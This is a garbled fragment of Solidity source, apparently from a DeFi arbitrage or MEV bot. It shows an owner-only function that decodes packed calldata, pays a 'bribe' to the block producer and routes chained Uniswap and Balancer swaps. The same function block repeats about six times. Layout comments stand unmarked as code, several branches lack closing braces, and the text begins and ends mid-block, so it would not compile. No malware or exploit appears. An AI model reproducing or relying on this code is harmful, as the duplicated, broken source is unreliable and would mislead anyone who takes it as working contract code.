mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
